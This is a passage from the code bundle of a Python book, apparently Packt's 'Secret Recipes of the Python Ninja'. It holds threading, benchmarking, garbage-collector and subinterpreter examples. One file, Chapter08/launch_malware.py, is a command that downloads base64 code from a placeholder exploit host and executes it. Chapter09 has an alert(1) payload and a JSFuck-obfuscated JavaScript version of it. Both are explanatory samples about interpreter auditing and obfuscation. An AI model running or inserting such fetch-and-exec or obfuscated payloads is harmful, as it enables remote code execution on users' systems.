11 |     def run(self):
12 |         while True: 
13 |             url = self._queue.get() 
14 |             if isinstance(url, str) and url == 'quit':
15 |                 break
16 |             try:
17 |     	        urllib.request.urlopen(url)
18 |             except urllib.error.HTTPError:
19 |     	        pass
20 | 
21 | 
22 | def Creator():
23 |     urls = ["https://www.python.org", 
24 |             "https://www.google.com", 
25 | 			"https://www.techdirt.com",
26 | 			"https://www.facebook.com",
27 | 			"https://www.ibm.com",
28 | 			"https://www.dell.com",
29 | 			"https://www.amd.com",
30 | 			"https://www.yahoo.com",
31 | 			"https://www.microsoft.com",
32 | 			"https://www.apache.org"]
33 |   
34 |     cue = queue.Queue()
35 |     worker_threads = build_worker_pool(cue, 4)
36 |     start_time = time.time()
37 | 
38 |     for url in urls: 
39 |         cue.put(url)  
40 | 
41 |     for worker in worker_threads:
42 |         cue.put('quit')
43 |     for worker in worker_threads:
44 |         worker.join()
45 | 
46 |     print('Done! Time taken: {}'.format(time.time() - start_time))
47 | 
48 | def build_worker_pool(cue, size):
49 |     workers = []
50 |     for _ in range(size):
51 |         worker = Receiver(cue)
52 |         worker.start() 
53 |         workers.append(worker)
54 |     return workers
55 | 
56 | if __name__ == '__main__':
57 |   Creator()
58 | 


--------------------------------------------------------------------------------
/Chapter05/os_import.py:
--------------------------------------------------------------------------------
1 | import os
2 | 


--------------------------------------------------------------------------------
/Chapter05/reverse_seq.py:
--------------------------------------------------------------------------------
 1 | class Reverse_Seq:
 2 |     """Iterator to loop backwards through a sequence."""
 3 |     def __init__(self, data_in):
 4 |         self.data = data_in
 5 |         self.index = len(data_in)  # Go to last element
 6 |     def __iter__(self):
 7 |         return self
 8 |     def __next__(self):
 9 |         if self.index == 0:  # No more elements
10 |             raise StopIteration
11 |         self.index = self.index - 1
12 |         return self.data[self.index]  # Return element at index
13 | 


--------------------------------------------------------------------------------
/Chapter05/single_thread.py:
--------------------------------------------------------------------------------
 1 | import urllib.request
 2 | import urllib.error
 3 | import time
 4 | 
 5 | def single_thread_retrieval():
 6 |     start_time = time.time()
 7 |     urls = ["https://www.python.org", 
 8 | 			"https://www.google.com", 
 9 | 			"https://www.techdirt.com",
10 | 			"https://www.facebook.com",
11 | 			"https://www.ibm.com",
12 | 			"https://www.dell.com",
13 | 			"https://www.amd.com",
14 | 			"https://www.yahoo.com",
15 | 			"https://www.microsoft.com",
16 | 			"https://www.apache.org"]
17 |     try:
18 |     	for url in urls:
19 |     		urllib.request.urlopen(url)
20 |     except urllib.error.HTTPError:
21 |     	pass
22 |     return time.time() - start_time
23 | 


--------------------------------------------------------------------------------
/Chapter05/time_funct.py:
--------------------------------------------------------------------------------
1 | import statistics
2 | 
3 | times = []
4 | 
5 | def avg_time(func, val):
6 | 	for num in range(val):
7 | 		times.append(func)
8 | 	return statistics.mean(times)
9 | 


--------------------------------------------------------------------------------
/Chapter07/add_funct.py:
--------------------------------------------------------------------------------
1 | def add(x, y):
2 |   return x + y
3 | 


--------------------------------------------------------------------------------
/Chapter07/beer_loop.py:
--------------------------------------------------------------------------------
 1 | for i in range(1000000, 0, -1):
 2 |     if i > 1:
 3 |         print("{} bottles of beer on the wall, {} bottles of beer.".format(i, i))
 4 |         if i > 2:
 5 |             additional = str(i - 1) + " bottles of beer on the wall."
 6 |     else:
 7 |         additional = "1 bottle of beer on the wall."
 8 |     if i == 1:
 9 |         print("1 bottle of beer on the wall, 1 bottle of beer.")
10 |         additional = "no more beer on the wall!"
11 |     print("Take one down, pass it around,{}\n".format(additional))
12 | 


--------------------------------------------------------------------------------
/Chapter07/change_variable.py:
--------------------------------------------------------------------------------
1 | x = 2
2 | x = "a_string"
3 | 


--------------------------------------------------------------------------------
/Chapter07/great_circle.py:
--------------------------------------------------------------------------------
 1 | from math import cos, sin, atan2, fabs, sqrt, pow, radians
 2 | 
 3 | r = 6371 # Earth's radius at equator in kilometers
 4 | 
 5 | # Alamo
 6 | lat1 = 29.42569
 7 | lat1_rads = radians(lat1)
 8 | long1 = -98.48503
 9 | long1_rads = radians(long1)
10 | 
11 | # Tokyo Tower
12 | lat2 = 35.65857
13 | lat2_rads = radians(lat2)
14 | long2 = 139.745484
15 | long2_rads = radians(long2)
16 | 
17 | delta = fabs(long1_rads - long2_rads)
18 | 
19 | def great_circle(lat1_rads, lat2_rads, delta):
20 |     x = (sin(lat1_rads) * sin(lat2_rads)) + (cos(lat1_rads) * cos(lat2_rads) * cos(delta))
21 |     y = sqrt(pow((cos(lat2_rads) * sin(delta)), 2)
22 |          + pow((cos(lat1_rads) * sin(lat2_rads)) - (sin(lat1_rads) * cos(lat2_rads) * cos(delta)), 2))
23 | 
24 |     angle = atan2(y, x)
25 | 
26 |     dist = r * angle
27 | 
28 |     return dist
29 | 
30 | num = 100000000
31 | for i in range(num):
32 |     great_circle(lat1_rads, lat2_rads, delta)
33 | 


--------------------------------------------------------------------------------
/Chapter07/loop_funct.c:
--------------------------------------------------------------------------------
 1 | double add(double x, double y)
 2 | {
 3 |   return x + y;
 4 | }
 5 | 
 6 | int main(void)
 7 | {
 8 |   int i = 0;
 9 |   double x = 0;
10 |   while (i < 1000000000) {
11 |     x += 1.0;
12 |     add(x, x);
13 |     i++;
14 |   }
15 |     return 0;
16 | }
17 | 


--------------------------------------------------------------------------------
/Chapter07/loop_funct.py:
--------------------------------------------------------------------------------
 1 | from file1 import add
 2 | 
 3 | def loop():
 4 |     i = 0
 5 |     a = 0.0
 6 |     while i < 1000000000:
 7 |         a += 1.0
 8 |         add(a, a)
 9 |         i += 1
10 | 
11 | if __name__ == "__main__":
12 |     loop()
13 | 


--------------------------------------------------------------------------------
/Chapter07/time.py:
--------------------------------------------------------------------------------
 1 | import math
 2 | 
 3 | TIMES = 10000000
 4 | a = 1
 5 | b = 1
 6 | 
 7 | for i in range(TIMES):
 8 |     c = math.sqrt(math.pow(a, 2) + math.pow(b, 2))
 9 |     a += 1
10 |     b += 2
11 | 


--------------------------------------------------------------------------------
/Chapter07/time2.py:
--------------------------------------------------------------------------------
 1 | import math
 2 | 
 3 | TIMES = 10000000
 4 | a = 1
 5 | b = 1
 6 | 
 7 | def calcMath(i, a, b):
 8 |     return math.sqrt(math.pow(a, 2) + math.pow(b, 2))
 9 | 
10 | for i in range(TIMES):
11 |     c = calcMath(i, a, b)
12 |     a += 1
13 |     b += 2
14 | 


--------------------------------------------------------------------------------
/Chapter08/audit_hook.py:
--------------------------------------------------------------------------------
 1 | # Add an auditing hook
 2 | typedef int (*hook_func)(const char *event, PyObject *args,
 3 |                          void *userData);
 4 | int PySys_AddAuditHook(hook_func hook, void *userData);
 5 | 
 6 | # Raise an event with all auditing hooks
 7 | int PySys_Audit(const char *event, PyObject *args);
 8 | 
 9 | # Internal API used during Py_Finalize() - not publicly accessible
10 | void _Py_ClearAuditHooks(void);
11 | 


--------------------------------------------------------------------------------
/Chapter08/audit_hook_api.py:
--------------------------------------------------------------------------------
1 | # Add an auditing hook
2 | sys.addaudithook(hook: Callable[str, tuple]) -> None
3 | 
4 | # Raise an event with all auditing hooks
5 | sys.audit(str, *args) -> None
6 | 


--------------------------------------------------------------------------------
/Chapter08/callback_collect.txt:
--------------------------------------------------------------------------------
1 | def collect_with_callback(generation):
2 |     """
3 |     Collect up to the given *generation*.
4 |     """
5 |     # Same code as currently (see collect_with_callback() in gcmodule.c)
6 | 


--------------------------------------------------------------------------------
/Chapter08/collect_gens.txt:
--------------------------------------------------------------------------------
1 | def collect_generations():
2 |     """
3 |     Collect as many generations as desired by the heuristic.
4 |     """
5 |     # Same code as currently (see collect_generations() in gcmodule.c)
6 | 


--------------------------------------------------------------------------------
/Chapter08/gc_collect.txt:
--------------------------------------------------------------------------------
1 | def gc.collect(generation=2):
2 |     """
3 |     Schedule collection of the given generation and wait for it to
4 |     finish.
5 |     """
6 |     return lock_and_collect(generation)
7 | 


--------------------------------------------------------------------------------
/Chapter08/gc_get_mode.txt:
--------------------------------------------------------------------------------
1 | def gc.get_mode(mode):
2 |     """
3 |     Get current GC mode.
4 |     """
5 |     return "threaded" if gc_is_threaded else "serial"
6 | 


--------------------------------------------------------------------------------
/Chapter08/gc_malloc.txt:
--------------------------------------------------------------------------------
 1 | def PyGC_Malloc():
 2 |     """
 3 |     Allocate a GC-enabled object.
 4 |     """
 5 |     # Update allocation statistics (same code as currently, omitted for brievity)
 6 |     if is_implicit_gc_desired():
 7 |         if gc_is_threaded:
 8 |             schedule_gc_request()
 9 |         else:
10 |             lock_and_collect()
11 |     # Go ahead with allocation (same code as currently, omitted for brievity)
12 | 


--------------------------------------------------------------------------------
/Chapter08/gc_set_mode.txt:
--------------------------------------------------------------------------------
 1 | def gc.set_mode(mode):
 2 |     """
 3 |     Set current GC mode.  This is a process-global setting.
 4 |     """
 5 |     if mode == "threaded":
 6 |         if not gc_is_threaded == False:
 7 |             # Launch thread
 8 |             gc_thread.done.acquire(block=False)  # should not fail
 9 |             gc_is_threaded = True
10 |             PyThread_start_new_thread(gc_thread)
11 |     elif mode == "serial":
12 |         if gc_is_threaded == True:
13 |             # Wake up thread, asking it to end
14 |             gc_is_threaded = False
15 |             gc_thread.wakeup.release()
16 |             # Wait for thread exit
17 |             Py_BEGIN_ALLOW_THREADS
18 |             gc_thread.done.acquire()
19 |             Py_END_ALLOW_THREADS
20 |             gc_thread.done.release()
21 |     else:
22 |         raise ValueError("unsupported mode %r" % (mode,))
23 | 


--------------------------------------------------------------------------------
/Chapter08/gc_thread.txt:
--------------------------------------------------------------------------------
 1 | def gc_thread(interp_state):
 2 |     """
 3 |     Dedicated loop for threaded GC.
 4 |     """
 5 |     # Init Python thread state (omitted, see t_bootstrap in _threadmodule.c)
 6 |     # Optional: init thread in Python threading module, for better introspection
 7 |     me = threading._ensure_dummy_thread(name="GC thread")
 8 | 
 9 |     while gc_is_threaded == True:
10 |         Py_BEGIN_ALLOW_THREADS
11 |         gc_thread.wakeup.acquire()
12 |         Py_END_ALLOW_THREADS
13 |         if gc_thread.collection_requested != 0:
14 |             gc_thread.collection_requested = 0
15 |             lock_and_collect(generation=-1)
16 | 
17 |     threading._remove_dummy_thread(me)
18 |     # Signal we're exiting
19 |     gc_thread.done.release()
20 |     # Free Python thread state (omitted)
21 | 


--------------------------------------------------------------------------------
/Chapter08/hook_handler.py:
--------------------------------------------------------------------------------
1 | # Set the handler
2 | typedef PyObject *(*hook_func)(PyObject *path)
3 | int PyImport_SetOpenForImportHook(void *handler)
4 | 
5 | # Open a file using the handler
6 | PyObject *PyImport_OpenForImport(const char *path)
7 | 


--------------------------------------------------------------------------------
/Chapter08/hook_handler_api.py:
--------------------------------------------------------------------------------
1 | # Open a file using the handler
2 | _imp.open_for_import(path)
3 | 


--------------------------------------------------------------------------------
/Chapter08/implicit_gc.txt:
--------------------------------------------------------------------------------
1 | def is_implicit_gc_desired():
2 |     """
3 |     Whether an implicit GC run is currently desired based on allocation
4 |     stats.  Return a generation number, or -1 if none desired.
5 |     """
6 |     # Same heuristic as currently (see _PyObject_GC_Alloc in gcmodule.c)
7 | 


--------------------------------------------------------------------------------
/Chapter08/interpreter_data_share.txt:
--------------------------------------------------------------------------------
 1 | interp = interpreters.create()
 2 | r1, s1 = interpreters.create_channel()
 3 | r2, s2 = interpreters.create_channel()
 4 | def run():
 5 |     interp.run(tw.dedent("""
 6 |         fd = int.from_bytes(
 7 |                 reader.recv(), 'big')
 8 |         for line in os.fdopen(fd):
 9 |             print(line)
10 |         writer.send(b'')
11 |         """),
12 |         shared=dict(
13 |             reader=r,
14 |             writer=s2,
15 |             ),
16 |         )
17 | t = threading.Thread(target=run)
18 | t.start()
19 | with open('spamspamspam') as infile:
20 |     fd = infile.fileno().to_bytes(1, 'big')
21 |     s.send(fd)
22 |     r.recv()
23 | 


--------------------------------------------------------------------------------
/Chapter08/interpreter_exception.txt:
--------------------------------------------------------------------------------
1 | interp = interpreters.create()
2 | try:
3 |     interp.run(tw.dedent("""
4 |         raise KeyError
5 |         """))
6 | except KeyError:
7 |     print("got the error from the subinterpreter")
8 | 


--------------------------------------------------------------------------------
/Chapter08/interpreter_isolate.txt:
--------------------------------------------------------------------------------
1 | interp = interpreters.create()
2 | print('before')
3 | interp.run('print("during")')
4 | print('after')
5 | 


--------------------------------------------------------------------------------
/Chapter08/interpreter_marshal.txt:
--------------------------------------------------------------------------------
 1 | interp = interpreters.create()
 2 | r, s = interpreters.create_fifo()
 3 | interp.run(tw.dedent("""
 4 |     import marshal
 5 |     """),
 6 |     shared=dict(
 7 |         reader=r,
 8 |         ),
 9 |     )
10 | def run():
11 |     interp.run(tw.dedent("""
12 |         data = reader.recv()
13 |         while data:
14 |             obj = marshal.loads(data)
15 |             do_something(obj)
16 |             data = reader.recv()
17 |         reader.close()
18 |         """))
19 | t = threading.Thread(target=run)
20 | t.start()
21 | for obj in input:
22 |     data = marshal.dumps(obj)
23 |     s.send(data)
24 | s.send(None)
25 | 


--------------------------------------------------------------------------------
/Chapter08/interpreter_pickle.txt:
--------------------------------------------------------------------------------
 1 | interp = interpreters.create()
 2 | r, s = interpreters.create_channel()
 3 | interp.run(tw.dedent("""
 4 |     import pickle
 5 |     """),
 6 |     shared=dict(
 7 |         reader=r,
 8 |         ),
 9 |     )
10 | def run():
11 |     interp.run(tw.dedent("""
12 |         data = reader.recv()
13 |         while data:
14 |             obj = pickle.loads(data)
15 |             do_something(obj)
16 |             data = reader.recv()
17 |         reader.close()
18 |         """))
19 | t = threading.Thread(target=run)
20 | t.start()
21 | for obj in input:
22 |     data = pickle.dumps(obj)
23 |     s.send(data)
24 | s.send(None)
25 | 


--------------------------------------------------------------------------------
/Chapter08/interpreter_prepopulate.txt:
--------------------------------------------------------------------------------
 1 | interp = interpreters.create()
 2 | interp.run(tw.dedent("""
 3 |     import some_lib
 4 |     import an_expensive_module
 5 |     some_lib.set_up()
 6 |     """))
 7 | wait_for_request()
 8 | interp.run(tw.dedent("""
 9 |     some_lib.handle_request()
10 |     """))
11 | 


--------------------------------------------------------------------------------
/Chapter08/interpreter_spawn_thread.txt:
--------------------------------------------------------------------------------
1 | interp = interpreters.create()
2 | def run():
3 |     interp.run('print("during")')
4 | t = threading.Thread(target=run)
5 | print('before')
6 | t.start()
7 | print('after')
8 | 


--------------------------------------------------------------------------------
/Chapter08/interpreter_synch.txt:
--------------------------------------------------------------------------------
 1 | interp = interpreters.create()
 2 | r, s = interpreters.create_channel()
 3 | def run():
 4 |     interp.run(tw.dedent("""
 5 |         reader.recv()
 6 |         print("during")
 7 |         reader.close()
 8 |         """),
 9 |         shared=dict(
10 |             reader=r,
11 |             ),
12 |         )
13 | t = threading.Thread(target=run)
14 | print('before')
15 | t.start()
16 | print('after')
17 | s.send(b'')
18 | s.close()
19 | 


--------------------------------------------------------------------------------
/Chapter08/launch_malware.py:
--------------------------------------------------------------------------------
1 | python -c "import urllib.request, base64;
2 |     exec(base64.b64decode(
3 |         urllib.request.urlopen('http://my-exploit/py.b64')
4 |     ).decode())"
5 | 


--------------------------------------------------------------------------------
/Chapter08/lock_collect.txt:
--------------------------------------------------------------------------------
 1 | def lock_and_collect(generation=-1):
 2 |     """
 3 |     Perform a collection with thread safety.
 4 |     """
 5 |     me = PyThreadState_GET()
 6 |     if gc_mutex.owner == me:
 7 |         # reentrant GC collection request, bail out
 8 |         return
 9 |     Py_BEGIN_ALLOW_THREADS
10 |     gc_mutex.lock.acquire()
11 |     Py_END_ALLOW_THREADS
12 |     gc_mutex.owner = me
13 |     try:
14 |         if generation >= 0:
15 |             return collect_with_callback(generation)
16 |         else:
17 |             return collect_generations()
18 |     finally:
19 |         gc_mutex.owner = NULL
20 |         gc_mutex.lock.release()
21 | 


--------------------------------------------------------------------------------
/Chapter08/sched_gc.txt:
--------------------------------------------------------------------------------
 1 | def schedule_gc_request():
 2 |     """
 3 |     Ask the GC thread to run an implicit collection.
 4 |     """
 5 |     assert gc_is_threaded == True
 6 |     # Note this is extremely fast if a collection is already requested
 7 |     if gc_thread.collection_requested == False:
 8 |         gc_thread.collection_requested = True
 9 |         gc_thread.wakeup.release()
10 | 


--------------------------------------------------------------------------------
/Chapter08/subinterpreter_module.txt:
--------------------------------------------------------------------------------
1 | interp = interpreters.create()
2 | main_module = mod_name
3 | interp.run(f'import runpy; runpy.run_module({main_module!r})')
4 | 


--------------------------------------------------------------------------------
/Chapter08/subinterpreter_pool.txt:
--------------------------------------------------------------------------------
1 | interps = [interpreters.create() for i in range(5)]
2 | with concurrent.futures.ThreadPoolExecutor(max_workers=len(interps)) as pool:
3 |     print('before')
4 |     for interp in interps:
5 |         pool.submit(interp.run, 'print("starting"); print("stopping")'
6 |     print('after')
7 | 


--------------------------------------------------------------------------------
/Chapter08/subinterpreter_script.txt:
--------------------------------------------------------------------------------
1 | interp = interpreters.create()
2 | main_script = path_name
3 | interp.run(f"import runpy; runpy.run_path({main_script!r})")
4 | 


--------------------------------------------------------------------------------
/Chapter09/alert.js:
--------------------------------------------------------------------------------
1 | alert(1)
2 | 


--------------------------------------------------------------------------------
/Chapter09/docstring_example.py:
--------------------------------------------------------------------------------
 1 | def get_pressure():
 2 | 	"""Returns the pressure in the system."""
 3 | 	return sys_press
 4 | 
 5 | def calc_press_diff(in, out):
 6 | 	"""Calculates the pressure drop across a valve.
 7 | 
 8 | 	:param in: Input pressure
 9 | 	:param out: Output pressure
10 | 	:return The valve pressure drop
11 | 	"""
12 | 	deltaP = out - in
13 | 	return deltaP
14 | 


--------------------------------------------------------------------------------
/Chapter09/doctest.py:
--------------------------------------------------------------------------------
 1 | """
 2 | Factorial module.
 3 | 
 4 | This module manually defines the factorial() function (ignoring the fact that Python includes math.factorial().  For example,
 5 | 
 6 | >>> factorial(4)
 7 | 24
 8 | """
 9 | 
10 | def factorial(n):
11 |     """Return the factorial of n.
12 | 
13 | 	Normal loop
14 |     >>> for n in range(4): print(factorial(n))
15 |     1
16 |     1
17 |     2
18 |     6
19 | 	
20 | 	List comprehension
21 | 	>>> [factorial(n) for n in range(6)]
22 |         [1, 1, 2, 6, 24, 120]
23 | 	
24 | 	Normal factorial
25 |     >>> factorial(25)
26 |     15511210043330985984000000
27 | 
28 | 	Negative check
29 |     >>> factorial(-3)
30 |     Traceback (most recent call last):
31 |         ...
32 |     ValueError: n must be >= 0
33 | 
34 |     Float must be an exact integer:
35 |     >>> factorial(25.1)
36 |     Traceback (most recent call last):
37 |         ...
38 |     ValueError: n must be exact integer
39 |     >>> factorial(25.0)
40 |     15511210043330985984000000
41 | 
42 |     It must also not be ridiculously large:
43 |     >>> factorial(1e25)
44 |     Traceback (most recent call last):
45 |         ...
46 |     OverflowError: n too large
47 |     """
48 | 
49 |     import math
50 |     if not n >= 0:
51 |         raise ValueError("n must be >= 0")
52 |     if math.floor(n) != n:
53 |         raise ValueError("n must be exact integer")
54 |     if n+1 == n:  # catch a value like 1e100
55 |         raise OverflowError("n too large")
56 |     result = 1
57 |     factor = 2
58 |     while factor <= n:
59 |         result *= factor
60 |         factor += 1
61 |     return result
62 | 
63 | 
64 | if __name__ == "__main__":
65 |     import doctest
66 |     print(doctest.__file__)
67 |     doctest.testmod()
68 | 


--------------------------------------------------------------------------------
/Chapter09/jsf.js:
--------------------------------------------------------------------------------
1 | [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
2 | 


--------------------------------------------------------------------------------
/Chapter09/perl_interactive.pl:
--------------------------------------------------------------------------------
1 | perl -e 'do{print("perl> ");$_x=<>;chomp $_x;print(eval($_x)."\n")}while($_x ne "q")'
2 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
 1 | MIT License
 2 | 
 3 | Copyright (c) 2018 Packt
 4 | 
 5 | Permission is hereby granted, free of charge, to any person obtaining a copy
 6 | of this software and associated documentation files (the "Software"), to deal
 7 | in the Software without restriction, including without limitation the rights
 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 | 
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 | 
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | 
 2 | 
 3 | 
 4 | # Secret Recipes of the Python Ninja
 5 | This is the code repository for [Secret Recipes of the Python Ninja](https://www.packtpub.com/application-development/secret-recipes-python-ninja?utm_source=github&utm_medium=repository&utm_campaign=9781788294874), published by [Packt](https://www.packtpub.com/?utm_source=github). It contains all the supporting project files necessary to work through the book from start to finish.
 6 | ## About the Book
 7 | You’ll unearth secrets related to the implementation of the standard library, by looking at how modules actually work. You’ll understand the implementation of collections, decimals, and fraction modules. If you haven’t used decorators, coroutines, and generator functions much before, as you make your way through the recipes, you’ll learn what you’ve been missing out on.
 8 | 
 9 | We’ll cover internal special methods in detail, so you understand what they are and how they can be used to improve the engineering decisions you make. Next, you’ll explore the CPython interpreter, which is a treasure trove of secret hacks that not many programmers are aware of. We’ll take you through the depths of the PyPy project, where you’ll come across several exciting ways that you can improve speed and concurrency.
10 | ## Instructions and Navigation
11 | All of the code is organized into folders. Each folder starts with a number followed by the application name. For example, Chapter02.
12 | 
13 | Chapter 6 doesn't have code files. The code bundle includes all the code even the command and output.
14 | 
15 | The code will look like the following:
16 | ```
17 | def print_funct(arg):
18 |     print(arg)
19 |     if __name__ == "__main__":
20 |         import sys
21 |         print_funct(sys.argv[1])
22 | ```
23 | 
24 | Intermediate knowledge of Python is required though many topics are covered in a way that even beginners should have an understanding of the basic principles being covered. Specifically, the experience of using both the interactive Python interpreter and writing Python files, how to import modules, and how to work with object-oriented principles is assumed.
25 | This book uses Python 3.6 for the examples, unless otherwise indicated. While alternative implementations are briefly discussed, the book assumes the basic CPython implementation is being used.
26 | 
27 | ## Related Products
28 | * [Python Programming Blueprints](https://www.packtpub.com/application-development/python-programming-blueprints?utm_source=github&utm_medium=repository&utm_campaign=9781786468161)
29 | 
30 | * [Python Interviews](https://www.packtpub.com/web-development/python-interviews?utm_source=github&utm_medium=repository&utm_campaign=9781788399081)
31 | 
32 | * [Python GUI programming with Tkinter](https://www.packtpub.com/application-development/python-gui-programming-tkinter?utm_source=github&utm_medium=repository&utm_campaign=9781788835886)
33 | 
34 | ### Download a free PDF
35 | 
36 |  <i>If you have already purchased a print or Kindle version of this book, you can get a DRM-free PDF version at no cost.<br>Simply click on the link to claim your free PDF.</i>
37 | <p align="center"> <a href="https://packt.link/free-ebook/9781788294874">https://packt.link/free-ebook/9781788294874 </a> </p>


--------------------------------------------------------------------------------